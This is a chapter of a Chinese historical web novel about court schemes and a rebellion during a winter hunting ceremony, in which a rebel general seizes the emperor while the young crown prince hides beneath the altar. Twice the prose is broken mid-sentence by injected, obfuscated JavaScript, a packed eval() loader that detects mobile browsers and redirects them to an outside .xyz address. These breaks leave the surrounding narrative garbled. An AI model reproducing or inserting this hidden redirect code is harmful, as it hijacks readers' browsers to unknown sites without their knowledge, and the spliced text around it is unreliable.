屋内一片沉默,忽而哗啦一声。 三人齐齐望向矮案,巫牌坍塌,七零八落撒了满桌满地。 ****** 璃王楚珩今日不在府中,也没在琼琚楼,罗途明寻不到人便先回到了自己的居所。他惯性推门解开狐裘随手一扬,扔在了临窗的醉翁椅上。嘴里喊着昔闻给他准备沐浴的热汤,并没有听见屋子里其他的声音。昔闻贴心的先奉了一杯热茶进来,出去的时候犹豫了片刻,还是没忍住问出了心中疑虑。 “二爷,你又去找那人了吗?” 罗途明拿起盏,喝了口茶,“怎么了?你很闲吗,过问起你二爷我来了。” 昔闻小声反驳了句。“若我是他,必定亲自登门致谢,八成那小公子不喜欢那幅画,竟然还要公子亲自去找他。” 罗途明当场要给他一拳,忽然转念,把他轰了出去。“回来,把门给我带上!” 昔闻埋头把门关了,屋内一暗,罗途明立刻小心翼翼掀开狐裘,璃王楚珩正在临窗的醉翁椅上闭目假寐。“这样也能睡着?” “……” 怪不得自西郊回来各处都没找到楚珩,原来他早就等在自己的居所。罗途明又将狐裘重新盖在璃王殿下的胸口,自己则轻手轻脚准备撤退。刚转过身去,被楚珩一脚踹到了对面桌底。 “……璃王殿下,起床气,不宜过大。” “本王等你多时,你倒好,玩到现在才回来。” 楚珩不似平常,似乎真怒了“殿下,今日好容易才寻到他,多说了两句。” “怎么样?” “挺好的,聊得很开心。” “……本王问你,”楚珩咬牙切齿,“计划进行得怎样?” 罗途明终于微敛神色,“殿下,丁越那孩子看着才十七八,但是提防心很重,不知他在姜府是什么样的地位,又对姜长鹰忠诚度多少,但看那晚姜长鹰等人接他回家,想必应该会把那幅画交给姜长鹰吧。” 楚珩神色缓和,微微点头,“周岑手眼通天,早就把这幅引诱太子出宫的画作内容了解得清清楚楚,只是我心里还是不确定,太子出宫是不是与周岑有关。” “若是周岑手中有这幅画,又想让太子献给皇帝,为何不直接呈给太子呢?”罗途明也疑惑重重。 “此事想不通,周岑的话也未可全信。先看看皇兄看到那画是什么反应,再做定论吧。”面对罗途明,楚珩还没有说出他与周岑之间已经正式达成盟约。 “殿下……”罗途明犹豫的问,“您希望陛下是什么反应。” “没有希望,因为都行。” “我不明白。” 一束光落在罗途明额角,楚珩打开折扇,遮在罗途明额前,自己也凑到扇底,道:“龙颜大悦,姜长鹰要感谢我,龙威震怒,我护着姜家。今非昔比,这一次,姜长鹰这枚棋,必须捏在我手里。” “殿下有信心,姜长鹰,愿意?”罗途明直视楚珩。 楚珩嘴角微扬,站起身,走到窗边,“他不得不愿意,再次入都,姜长鹰明白,他不可能独善其身,他也需要一个足够分量的后台。” “可是……若冬遇大典上姜长鹰就是没献出那幅画呢?” “他应当没有别的选择,除非,他作为陛下钦点的献礼人选,还有更好的礼送出去。被陛下钦点,可不好再应付差事了。”楚珩透过窗看向外面模糊的天,“不过,一幅画倒也不至于让他轻易就上我这条船,徐徐图之吧。” 罗途明扶着醉翁椅缓缓起身。 “还有两日,你该启程了。”楚珩背着一只手,转过身回看罗途明,“你知道的,我另一颗棋子,该动了。” ****** 腊月十四,月趋满,浮云遮碧玉,霜吹捲空晶。 丁越站在廊下,未发一言。 “余年消永夜,寒月约孤清。”①姜南阗拍了拍丁越的肩,把脑袋从丁越肩膀探过去,顺着丁越的目光望着天空,“丁越哥,你要不要跟爹爹说说,明日冬遇过后,你需要多盘桓几日再回坞城?” 丁越侧眸看了眼姜南阗,“大公子,你们这几日憋闷坏了吧,最后一日,好好玩。” 姜南阗莞尔,二人并肩来到内院。 众人都在,院中一车驾被撤去软垫和围挡,只剩车轱辘和坂木。漆上花,并红绸绑了,坂木上置一尊木箱,外封了冰砖。江出、黄碚等人正围着那冰驾里里外外查看。 “指挥史,好了。”黄碚对姜长鹰道。 姜长鹰点了点头,“这几日你们都辛苦了,早点歇息吧,明日还需耗费精神。” 宴深叹了口气,“三白、疏儿、弈儿,你们三个睡前用热水泡泡手,再用膏药仔细敷了,免得生冻疮,知道了吗?” “娘,不碍事的。”姜南疏道。 “怎么不碍事。”宴深说完看了眼姜长鹰,颜色不大好。 姜长鹰赧然道:“年纪小,就是不耐冻,你看我,手在冰上磨了两日,也只会磨出茧子。”说完把手伸给宴深看。 宴深好气又好笑。“行了行了,皮糙肉厚的也需泡水敷药,江出,黄碚你们一个都别躲懒啊。” “……呃,是!” 宴深懒得理会,先走了。 江出不愿,“指挥史你自己卖乖,怎么还捎上我们了。” “你们这些天制冰砖,凿冰块,还是好好护着点吧。别到了坞城湿气一重,立即长冻疮,到时候剑都拿不稳。”黄其甫刚说完,姜南羿姜南疏却咳嗽起来。 黄其甫并未意识到什么,却见丁越轻声喊了句“指挥史……我。” “?” 院里十几只眼睛齐刷刷盯过来,丁越道:“我去看看热水够不够。” 丁越说罢一溜烟走了。 他走出了姜府,走出了旅邸,由西向东,走到了紫芸街。 紫芸街上,沈府门楣在前,丁越却未再前进一步,这不是他第一次来,只是这个名曰沈府的宅院里,从来没有他要找的那人。 ****** 腊月十五,金盘浮出,日照乾坤。武城兵马属司顾羌行统帅禁军开道,前后左右夹行,中间才是帝王车驾,后跟阖宫参宴的妃嫔,再其后是官员。车马长龙自轩天门出,官员家眷车驾随流,倪昌率五城兵马属司属兵压阵末尾。如此浩浩荡荡向西郊皇林涌去。 巳时开典,礼部宋荣木唱完祭典题请,敬天司鞭演完毕,乾泽帝正式请帝神。之后宴宾,觥筹交错之后便是朝臣使节之间以诗酒、骑射、棋弈、马球为主的对垒。看似热热闹闹,实则无人敢乱动乱跑,其间每进行一项对垒,都有不同的舞蹈和奏乐。乐终舞毕,乾泽帝抬杯,满座同饮。 所谓国之大事,祀与戎也。帝王靠二者垂范古今,所以大程每年都有冬祭和春猎。冬遇不比每年的冬祭大典,乃结合祭祀和野猎一起举行,因而祭典仪式从简,只在半日内就进行的差不多了。日上高头,午时将过,群臣终于可以不用箍在座位上苦熬了。皇子、世家子弟和皇戚贵族们身兼重任,各个换上戎装,拉着坐骑喂草顺毛,跃跃欲试,余者散步的散步,骑马的骑马,对弈的对弈,皇帝则在这个间隙前往行宫休憩。 太子不得闲,得陪在圣驾左右,他看向右侧文臣位,太师乔广陵在文臣最后方,身边是自己的表弟乔矜。 “母妃。”太子扯了扯合妃娘娘祭典华服的孔雀刺绣褙子,“我想去表弟那边。” 合妃看了眼乔广陵所在方位,“不急,先随你父皇去行宫,等他歇下再跪安。”乔支卿声如其人,温婉柔美。 太子不骄不躁,开心的应下。“我等母妃也歇下再去找表弟。”低头想了想,又问:“母妃有没有想要儿臣带的话?” 合妃余光又瞥了眼乔广陵,摇头莞尔。 行宫外,太子跪安后,乔支卿也准备回自己的寝宫。堪堪走到寝宫门口,一宫娥上前,拦住乔支卿的玉仗。 “合妃娘娘安。”宫娥恭敬的行了大礼。 乔支卿看来人面生,边上的侍女立即上前询问,“你是哪个宫里的?” “奴婢是丽嫔宫中的,主子托我给娘娘送来了贺寿礼。” “丽嫔?”丽嫔没有子嗣,今日也不在参礼之列。 宫娥机灵,立即解释道:“受司礼监调派,奴婢今日在行宫侍候各位主子娘娘,我家主子与合妃娘娘交好,今日不得随驾,托我给娘娘带来贺寿礼,因礼物不甚贵重,只图个巧思,能叫合妃娘娘开心就好。” 侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607357|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女要伸手去拿,那宫娥却径直上前,毕恭毕敬跪呈给乔支卿。乔支卿心中打鼓,面上却不表露,“本宫知道了,辛苦你跑一趟。” “能为娘娘献礼是奴婢的福气,奴婢祝贺娘娘花颜永驻,平安喜乐!” 寝宫内,合妃乔支卿卸了晌午祭典的满头钗环,只着藕荷色里衣,屏退左右,那“不慎贵重”的贺礼就随意摆放在边几上,乔支卿缓缓拆开面上的锦绣绢帛,露出里面一方小巧精致的雕花锦盒。锦盒内,是一管小巧的竹笛。 合妃啪嗒扣上了锦盒,抬眼看镜中,不料撞见了十七年前的自己。 豆蔻之年,乔支卿一身烟青襦裙,于双英城南郊梧桐林中偶遇吹横笛的少年。 “你吹得好好,是我见过的,吹得最好的人。” “想学吗?”少年公子温润如玉,谦谦有礼。 乔支卿摇摇头,“我试过,可是手指按不住这么多孔。太难了。” “哈哈哈。”少年被逗笑了,“改天送你一管小巧的笛子,选江南的竹,声音又脆又好听,乱吹也好听。” …… 人世如秋水,风波动处,泛起的除了眼前看似韶华的盛景,实则还有经年事物的残败气息。 “何必再忆。”乔支卿握着那枚锦盒,淡淡道。 ****** 太子楚琮瞻出了行宫,直奔乔矜而去。 还没到祭典处,礼部宋荣木就看到了楚琮瞻一行。他迎上去拦住楚琮瞻,表示午后冬猎开皇林,太子需替乾泽帝端坐祭台,等晁阁老宣读完了开放皇林的祭词,众人才能入内狩猎。太子不耐,却也无可奈何。 礼部事多,赵荣木左右都是讲究,不可有丁点的不顺眼,待场中又恢复了晌午的肃然有序,终于能按照章程来了。 赵荣木言明冬猎条程,细则:诸如不可私自藏匿,不可杀而不拾,不可喧闹哄抢,不可诱捕云云…… 楚琮瞻听得犯困,极力忍住不打哈欠,强撑仪态。 直到晁三易走上御台。“乾泽九年,谒瞻先祖,于兹永益西郊,陈词鉴召万灵。仰济天地,承蒙日月,泽授苍生。灵兽灵羽,鬼物稷奠,百辞由许,敬飨玉食。”晁三易读完开林祭词,百官作揖行礼,皇世宗亲的晚辈和世家大族的孩子们整装出发,次第有序朝皇林涌进。 楚琮瞻忍不住朝乔矜看了一眼,却发现方才还在乔广陵身边的乔矜不见了踪影…… 开林仪式结束,祭场内终于归于平常。乔广陵正和大臣们站在一处闲聊,远远见楚琮瞻匆匆忙忙走过来,知道是找乔矜的。抬手指了指皇林。 “太师的意思,是说予鹿去皇林里了?” “太子殿下,是的。” 楚琮瞻诧异,“我可没见他骑过马啊。” “……骑过马的。”乔广陵说得不确定,找补道:“太子殿下,予鹿去林子里也不是狩猎,好奇玩一玩罢了。” 楚琮瞻告别老师,也打算跟去。却被迎上来的晁三易、周岑和赵荣木等人拦住。 “太子殿下,陛下尚在行宫,殿下宜守在此处恭候陛下及合妃娘娘尊驾。” “我就进去看看。” 周岑道:“皇林危险,等太子善骑射的时候方可进入。” “是啊是啊,太子殿下,等殿下到了可以狩猎的年纪,太傅自会带太子殿下去皇林,到时候别说这西郊皇林猎场了,就是永益城边上的泉启城霜枫猎场、双英城梧松猎场,都能任殿下驰骋。”赵荣木也跟着劝。 众人一顿苦口婆心,楚琮瞻头都炸了,对这样啰嗦的场面深恶痛绝,但还是压着不悦表示自己会听阁老教诲。楚琮瞻健步走向御帐内,口中不住嗔怪乔矜。“这个乔予鹿,居然敢不跟我打招呼就走,胆子越发大了。”他丢掉手炉,喃喃骂道:“小不点,还没马腿长,骑马?别掉林子被踩死。” 小宦官端了一盘果子,凑到楚琮瞻跟前,楚琮瞻这会子也不装了,不耐烦的挥了挥手让人拿远些,自己则气鼓鼓一头埋进软枕中。 楚珩在账外休憩处,远远看到太子如此,不禁哂笑出声,择了块手边的频婆果吃的更香。 此时一宫娥远远走来,将司礼监新敬的点心轻轻放在楚珩桌上,然后朝楚珩欠身行礼。“璃王殿下,东西送到了。” 楚珩惬意的咀嚼着,并不看那宫娥一眼,宫娥礼毕缓缓退了下去。 周岑不知何时走到楚珩身边,倏忽开口道:“冬遇大典,献祭虽有早早醒牲的祭品,但是这野猎之物也是重要组成部分。太子不能进皇林,想必心急如焚吧。” 祭典流程中有献礼一节,虽然满朝官员都事先备好了献礼,但是小辈们则要各凭本事自己去猎来献礼。猎来的献礼又分初献、亚献、终献,根据所猎之物来划分等级,终献一般都是极少能见到的凶兽。亚献也得身经百战的将军才能得之,因而世家子弟们都只能在初献等级里尽量多猎,才能不失体面。即便其当官的父亲献礼献得再得圣意,儿子不争气,也是徒劳。 “皇林进不进有什么要紧,左不过都是初献等级的猎物,谁能轻易比得过太子的献礼。”楚珩抬手,做了个请的手势,周岑微微欠身,便在旁边坐下了。 “说来也是,只是此次献礼可不是闹着玩的,还有别国使节,当朝太子献给陛下和母妃的双诞礼,不知是什么令人惊叹的奇珍异宝。” “无论怎么奇,总不会是‘神武大帝祭天图’。”楚珩就这么脱口而出,楚珩边说边探手去拿盘中的点心,眼睛却目不斜视的紧盯周岑,两人心照不宣。 ****** 猎场林深草密,乔矜虽骑着马,依然行进缓慢,小阿辰骑在另一匹马上,对乔矜道:“主子,我看到很多松油糖。” 乔矜双手把着辔头,“回家吃北林叔做的松子糖。” “进猎场之前我找北林叔来着,没看到他,明明晌午祭典的时候他还在老爷身边。” 乔矜一本正经,看着小阿辰小巧玲珑的身躯骑在马上,老老实实的抓着马鞍的样子,一本正经道:“你是想喊北林叔抱你上马么?” “……唔,我自己也可以的。” 皇林猎场西接泉启城,往北则是陡峭高山峻岭,一条湍急河流自西北山涧豁口出,绕着行宫流向永益城外的护城河。乔矜和小阿辰从猎场往北走,地势越发高。马也慢下来,直到到了半山腰,两人小心翼翼下马,徒步继续上行。 39.抱势 姜长鹰的三个儿子并无献礼压力,只带着丁越和黄其甫入了场,几人持着玩性在猎场中撒欢,逐兽猎禽。 棕灰的野兔竖耳伫立在草间,口鼻翕动着,浑然未察樟木后隐匿的箭矢。 “疏儿、弈儿,你们两个不要乱跑,待会要和我们一起回去。”姜南阗叮嘱。 “知道了,哥。”姜南疏故意很大声的回应。 听到人声,野兔身形一盾,三步作一步跃进灌木深处。 “……”姜南羿如炬的目光顿时暗了。放下箭,无奈道:“二哥!” 姜南疏笑了,“谁让你瞄了半天也不放箭。” “我只是不想一箭射死它,想着只穿它右耳。” 姜南阗看了眼丁越和黄其甫,道:“不如我们徒手抓,看谁抓的飞禽小兽最多?” “抓得多有什么赢头吗?”姜南羿问。 “赢我那把剑如何?” 姜南阗的剑可是姜长鹰请顶好的工匠锻造的。几人胜负心被点燃。 “大公子,你这话不是说着玩的吧?”黄其甫惊道。 “当然不是。”姜南阗看向丁越,终于从他眼神中看见了神采。“丁越哥,你觉得可好?” 丁越脑中倏忽飘过零星剪影:桂花林中,婆娑剑舞。“怎么不好,只是今日之后,宝剑易主,可别反悔。” 这几人在林中飞来飞去,窜上窜下,遭殃的不仅仅是山鸡野兔,世家子弟们到了他们所在的区域不敢近前,好容易看中一活物追了一路,还未来得及搭弓,就被忽然跳出来的人两手一攮,提着脚往腰上一别,闪身就不见了。 “气死了,谁啊?第三次了!”苏雎再一次错失即将到手的山鸡,忍无可忍,摔弓大骂。 边上下属立即下马捡起来。“世子。别生气啊,咱们不逮山鸡了,咱们去找地上跑的好不好。” “你懂什么,大的兽类,我这力度不够,射不死,只能寻这小物,却灵活异常,难抓得很,偏偏哪个天杀的一直和我过不去。” “哈哈哈哈,苏世子想多了。” 苏雎惊诧回头,却是晋宁侯之子莫非鹤。 苏雎是光禄寺苏大人之子,面对这个常驻皇城的侯爵质子,并不忌惮。“什么我想多了?” “我看苏世子以为被人针对,故而气恼,但看今日猎场上的世家才俊,不知世子觉得哪一位会视苏世子为威胁呢?” “你!”苏雎气急,一时无话反驳,又看手中空空,真个恼羞也没底气。 “放心世子,我今日收获不多,但是归祭时掉落两只山鸡兔子,也不是没可能,苏世子不如先去歇着,给这猎场腾挪出点地方,我莫小侯爷,不胜感激。” 莫非鹤越说越来劲,苏雎目光一沉,将野猎之事抛在一边,愤然道:“哼,莫侯爷别说狩猎,就是在那躺着,也无人敢置喙半句。 您是质子,在这永益城,是碰不得的存在。而晋宁侯远在擎南,又不会因此感到面上无光,就算他在意,身边还有次子,三子,四子。操心都操心不过来,哪里会来管莫小侯爷,我要是莫小侯爷,我就只管吃酒享乐,哪里还会跑到这猎场和世家才俊们攀高低,那是我能攀的……吗?” “你,你想干嘛?” 苏雎由气势急转直下,眼里的傲慢鄙夷化为惊恐。莫非鹤抬起了箭,冷嗖嗖的箭矢正对苏雎,看得他直打寒战。 “你敢伤我?” 莫非鹤额际青筋暴起,弓弦已经用力拉开,滋滋作响。 嗖——箭矢穿林而过朝苏雎袭来,苏雎掩面闪躲,再起身,破口骂道:“莫非鹤,你竟真的敢?” “不是我。” 苏雎见莫非鹤也被吓到了,手中的弓都歪了,箭并未放出,的确不是他。他过去拔下樟木上牢牢钉住的箭矢,凑到眼前看了又看。忽而睁大眼,错愕道:“这,这不是野猎的箭!” 话音方落,林中传来喧闹声。由远而近,逐渐清晰。 “刺客,有刺客……” 随着这声惊呼,世家子弟们顿时都慌乱起来,他们哪能料想到,会在猎场里遭逢此劫。 ****** 丁越竖起耳朵,听了一会,肯定道:“刺客。” 黄其甫手中的山鸡扑腾了一堆毛,它皱着眉把鸡捏好,“刺客?猎场怎么会有刺客?” 姜南阗立即将姜南疏和姜南羿护在身侧,警觉道:“我们先回祭场。” 还没等他们动身撤离,一通乱箭嗖嗖向姜南阗一行人飞来,几人立即蹲下,紧接着长枪扫过姜南阗面额,被姜南阗眼疾身快躲过。惊变从此刻开始,一群人从林中窜出,迎面就和姜南阗等人厮杀起来。 黄其甫和丁越立即顶到前面,护着人边打边退。林中交手不好施展武艺,却利于躲避,丁越和黄其甫接连砍翻好几个人,才堪堪将敌手甩掉。 跑了两步,寻到马了。姜南阗果决道:“丁越哥,你带着疏儿和弈儿先撤,后面肯定还有人,我和其甫将他们引开,之后回祭场找父亲。” “不是刺客。”姜南羿道。 “更像是兵。”姜南疏补充道。 “是兵,从西边打过来,冲猎场里的人下手,叛军无疑。”姜南阗脑中急速思索着:“我们不是他们的主要目标。陛下和太子都在祭场。” 几人闻言立刻意识到此事所涉非比寻常,愕窒不已。 变生肘腋,丁越护送姜南羿姜南疏往北绕,还没出林子,就有了不详的预感,“疏儿、羿儿,我们大概不好回祭场了。”从皇林猎场后方攻入肯定不是明智之举,除非只是在打配合, 这二人聪颖非常,点头认同。无需多言,于是三人调转方向,往北山走去。 ****** “我说此刻下山就是此刻下山,难不成还要等到祭典完成,等狗皇帝望燎结束再下山吗?要不要你也去祭典磕一个?”何抱势站在行宫后山坡的一处山石上,冲着边上将领颐指气使的喊道。 隆冬干旱,水流到行宫后面就很小了,加上霜冻,趟过去易如反掌,没想到五城兵马属司只在行宫和祭场外围设了巡防,何抱势俯瞰偌大行宫道:“他们真是一点不关心自己的背脊啊。等我先去行宫拿了昏君,再去祭场杀了太子,最后跟皇林杀过来的弟兄一齐,把他们包抄起来,到时候皇帝太子和那些世家子弟,皆在我手中,我看看那些文臣武将们,还有没有闲情逸致施展他们的三寸不烂之舌,还有没有力破千军的勇气。” 何抱势潜入行宫的时候,虽废了些力气,但是乾泽帝很识时务,只是瞪眼闷哼了几句,并不敢反抗。一路打到祭场,太子御帐内,楚琮瞻并不在其中。 璃王楚珩这厢似乎觉察到了异常,忽而问边上的吴准:“太子呢?” 吴准抬头朝远处的御帐看了看,“呃……方才不是还在吗?奴才这就去看看?” 楚珩抬手,制止了。他紧盯着太子御帐,忽然冷光一闪,一杆长枪从背后刺来,楚珩转身折扇一挡,退开去。人无事,但是折扇也断了。 “什么人?” 那人并不接着进攻,而是提抢对峙着。楚珩回过头,这才发现人声鼎沸,祭场内乱做了一团,官员们跑的跑,摔的摔,叫的叫。他意识到了自己的处境,祭场被偷袭,他和官员们一样,成了瓮中之鳖。 “我乃庆东何抱势,乾泽帝在我手中,切勿妄动!” 祭台上,何抱势高大魁梧的,方正黝黑的脸紧绷着。乾泽帝坐在后方圈椅中,身着冬季玄色常服,外罩狐裘,兜帽盖着,看不清面色。 “何抱势?你就是蔚王私养在庆东闲竹谷的……” “什么私养!”何抱势厉声打断展光前的话,“今日起,我们庆东军就是定鼎从龙的正规皇家军。” “何抱势,究竟是你自己,还是有人指使你这么干的?你可知你这是谋逆……”张松喝到。 “啧啧啧,张松吧?你当你在刑部问案呢?我的名讳,岂是你能直呼的?除了蔚王殿下,哦不,马上就是陛下了,除了陛下之外,无人有资格喊我名字。” 璃王冷然问道:“何抱势,今日太子和陛下皆在西郊,你觉得蔚王凭你这一举,天下人能臣服于他吗?” 何抱势像是被提醒了,冷笑一声:“太子……啊对,奉劝你们,无论把太子藏哪了,赶紧交出来,别一会兵荒马乱的,不小心被踩死。” “何抱势,逆贼,你吃着大程的粮,却干出这大逆不道之事,你这样的人,何说什么从龙之功,你注定遗臭万年,你的子子孙孙,乃至先祖,都会因你今日之举蒙羞。”李明维愤然骂道。 “哎呀,内阁阁部大人,果然开口就知道捅人肺管子。先祖后辈?我只怕,届时史书怎么写,就轮不到阁部大人插手指点了,我自会推举良才顶了大人的职,让大人好好歇一歇,也享受享受被别人写进史册的殊荣。” “你!狂悖。” “恬不知耻!” “大逆不道!” …… 底下义愤填膺骂着,何抱势充耳不闻,转头命人务必搜到太子下落。 乔广陵心中焦躁,不住看向猎场西北向。 黄碚和江出簇拥在姜长鹰身侧。黄碚道:“指挥史,公子他们还在猎场。” 姜长鹰道:“猎场怕是……” 江出心中一紧,“指挥史的意思是?” 姜长鹰道:“你看何抱势这么点人,仅仅是拿住陛下,也不会这么胜券在握。” “莫非猎场也已经遭到侵袭?”黄碚道。 “大有可能,泉启城的山林和皇林连着,从那边进,可以抓住世家子弟当人质,到时候满朝官员,半数皆可被拿捏。”姜长鹰分析道,“只是奇怪,这祭场外的禁军居然没有奋起反抗。好像一下子就看清局势,知道何抱势挟持了陛下。” “陛下在他手中,谁也不敢轻举妄动。就是太子现下不知躲在哪里。”江出看向祭台上的何抱势,知道是在他也在等太子下落。 提及太子,姜长鹰却望向了文臣那边,“乔太师没和太子在一起,他自己身边也没人?” 黄碚道:“我记得,他的护卫北林,晌午好像还跟在左右。” ****** 北林蜷缩在泥里,他极力忍耐着,怀里躺着瑟瑟发抖的楚琮瞻。而头顶来来往往的声响,每一下都震动着心弦。北林一只手抄着楚琮瞻,尽量让他更多的垫靠在自己怀里,另一只手死死捂住琮瞻的嘴。楚琮瞻在哭泣,在发抖,抖着抖着,又开始一下一下的抽噎,那是楚琮瞻自己无法控制的。北林想说话安抚楚琮瞻,但是他不能,稍微的声响,或许就会暴露。 绝对不能让何抱势发现! 北林无可奈何,只能在这狭小闭塞的黑暗泥淖中苦捱,这是太子楚琮瞻最后一点点生路。 在乔广陵的计划中,楚琮瞻应该罩在北林的披风下,乘人不备去往猎场西北方的蒺藜坡。但是变故来的太快,北林刚带着楚琮瞻走到太子御帐后,叛军就在已经从行宫方向走来。外围禁军没有反抗,缴械投降了,叛军不紧不慢缩小包围,祭场内的官员开始骚动。祭台硕大,前后方隔着不少距离,从后方绕道不仅可以避开众人视线,还能与叛军迂回周旋。可是何抱势一声暴呵,楚琮瞻一脚踩进祭台底部横木与石板连接处。楚琮瞻拔不出脚,叛军却要露头了,北林当机跺碎木板,就着缝隙把楚琮瞻按下去之后,自己也跟着滑了进去。祭台本身高出祭场几十阶,因此底下是悬空的。二人一跌进去就感受到了铺面而来的阴暗潮湿,且越靠祭台近中心,越是湿滑。 起初北林和楚琮瞻还极力寻找支撑,后来全然放弃了,尤其是楚琮瞻对乾泽帝及自己处境了然之时,他几乎是抑制不住的啜泣。时间慢慢过去,北林感受到寒意自脚底蔓延,而浸在泥中的腿脚仿佛开始结冰。他顾不得许多,只能尽力抱紧怀里才七岁的太子,试图用自己残存不多的体热温暖他。 “予鹿!”北林在这看不到尽头的痛苦中想到了乔矜,“予鹿,你,最聪明了,这次千万别等我啊……” ****** “北林叔,还不来?” 蒺藜坡上,乔矜和小阿辰已经蹲在早就找好的藏身之地——一处灌木草穴,可是,避祸保命并不是他们今晚唯一的任务。 “不对。”乔矜扯着手中一根枝叶,在拔光最后一片叶的时候,生出警觉。同时又在这个间隙里觉察到周遭异样,“谁?” 侧头喊出一个字,一柄刀就搁在了喉管处。 “不想死就老实回话。” 说这话的虽然是个孩子,但是声音干脆有力,叫乔矜背脊生出寒意。 “下面林中那两匹马是你们的吗?” 乔矜点了点头。 那马不似平常马种,更像慕寒山战马。故而又问了第二句:“猎场中厮杀不断,你们却安然隐匿此处,是不是为了暗中观察好通风报信。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632938|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 喉管传来疼痛,乔矜忍疼道:“的确是,但并非你认为的那样。” “!”姜南疏听见乔矜开口,立即反应过来,松开捂住小阿辰的手,凑到乔矜跟前。“是你?” “南疏哥哥!”乔矜看到姜南疏,惊喜喊到。 姜南羿撤了刀,狐疑道:“你,你是太师之子?太子侍读?” 乔矜料想此人应当是姜南疏的弟弟,且对于自己在东宫和姜南疏相识之事已经知情。乔矜转过眼看向姜南羿时神色明显暗淡了几分,但还是十分配合的点点头,“嗯。” “……”姜南羿有些玩味的将刀套回鞘中。 “南疏哥哥,猎场怎么样了?” “叛军侵袭,我大哥和其甫哥哥正在与他们周旋。” 听见此,乔矜掏出一枚烟信,对着天放出了一个橙色花火。 “有救兵?”姜南羿问。 “有,但是不够,我还要去出去一趟。”乔矜说完起身欲从草穴里出去,却被迎面钻进来的丁越拦住了去路。 丁越护送姜南疏兄弟二人上山,自己断后顺便隐匿了马匹。 “丁越哥。”姜南疏喊道。 四目相对,乔矜丁越看到对方的刹那不约而同略过一丝惊异之色。 丁越目光在乔矜眉眼处逡巡片刻,问道:“出去干嘛?” “报信。”小阿辰声音软软的答。 “报信?给谁报信?”姜南羿坏坏的问,“咦!”顿时觉得眼前这孩子,十分眼熟。“你是马车上那个?” “他是我弟弟。”乔矜道,“鸿宇大街,你见过的。”乔矜解释完,继续对丁越道:“猎场西北面河滩边,有个马场,只有我的马可以调动它们。” “往哪里调?” “猎场外往南五里处。” “猎场外往南五里,那不是千金冶①吗?” “就是那,那里现在驻着一支禁军。” ****** 冬日的永益城黑的格外早,暮色将至,叛军手中的火把显出光亮。官员们聚在祭场中央,越往中心,黑沉沉的窒息感越发浓烈。 没有人能逃脱死亡的审判,除了站在祭台上的叛军。 何抱势对这些人的恐惧置若罔闻,反而深觉有趣。但是他又慢慢不耐烦起来,终究还是做出了官员们最不想看到的举动。 他迈着闲散步伐,走向祭台后方的圈椅。乾泽帝依然稳坐如松,只是脸色已经慢慢融入夜色,阴沉而黑暗。 “楚瑾,当皇帝可有趣啊?”何抱势缓缓将手搭在身后的佩刀上。 底下的朝臣皆惊出了冷汗。 “何抱势!”晁三易颤抖着声音喊道:“凡是勤王,总要有个说头,你不顾后果,难道蔚王,也不怕天下人唾弃吗?” 何抱势摘下佩刀,拿在手中掂着。“说的好,晁阁老,为了这天下,你能否忍受世人唾弃呢?” 晁三易愣了一愣。 王柳道:“你什么意思,阁老两代帝师,朝堂元老,大程脊柱,岂能与尔等同流合污?” “王大人,我劝你还是不要,早早地,跳出来说这种话的好。”何抱势一边慢吞吞,三字一顿说着,一边意味深长看了眼王柳。走到祭台前沿,抬眼望向了更远处的猎场…… 众人顺着何抱势的目光,逐渐回过味来。 “何抱势没找到太子,他现在等的,应该不仅仅是太子的下落。”顺着何抱势的视线。姜长鹰也回望猎场。 江出道:“指挥史的意思是,他在等猎场的消息?” 黄碚知道姜长鹰正在按捺,于是说:“别看现下朝臣们现在个个义愤填膺,至死不屈的样子,随着时间一点点消耗,局面走向十分不明朗的时候,愤慨慢慢会变成恐惧。也恰恰就是这种时候,猎场的世家后辈们的处境,会成为关键。” 姜长鹰道:“看何抱势的架势,是要一击即中,猎场那边估计不容乐观。继续等,局势不会更妙。” 黄碚、江出料定姜长鹰会有所行动,压低声音道:“属下听从指挥史安排。” “算我一个。” 三人回头,乃是兵部张启慧。场面慌乱人心惶惶之时,张启慧一眼扫过,却看人群中姜长鹰这厢三人站的笔挺,不似旁人,于是悄然走到姜长鹰一行人边上,只听得最后一句,便忙不迭表了态。非常时刻,顾不得细枝末节,姜长鹰也不寒暄了,朝张启慧点了点头。忽然…… 嘭! 一道橙色烟火在天际绽开,所有人都朝猎场方位看去。 何抱势望着那稍纵即逝的烟火,微微眯起了眼。 不仅何抱势,底下官员也道切切私议:“那是什么?” …… “何抱势!” 底下传来一声清亮镇定的声音。何抱势看向祭台右方文臣最外围的地方。 “乔太师?” “何抱势,今日是冬遇大典,你是知道的吧。” “那又如何?” “太仆寺定的日子,凡不利社稷之事、之人、乃至时辰,冬遇都会避讳。” “嗯?” “你觉得,今天这日子如何?” “哈哈哈哈。”何抱势嘲讽道:“太补寺是酒囊饭袋,楚瑾也是用非其人,所谓冬遇祭礼,祭的却是他楚氏的江山。乔广陵,你说这日子如何啊?” “所以你也觉得盖因你们破坏了冬遇大典,今日不吉?你也觉得自己非是正道?” 何抱势脸沉下去,“成事者,向来不拘泥于此,谶纬之说,在我这里就是狗屁。什么是黄道吉日,楚氏倾覆,天下改姓之时,就是黄道吉日。” 乔广陵冷笑:“焉知不是大程釜底抽薪,剜去国之毒瘤的黄道吉日呢?” 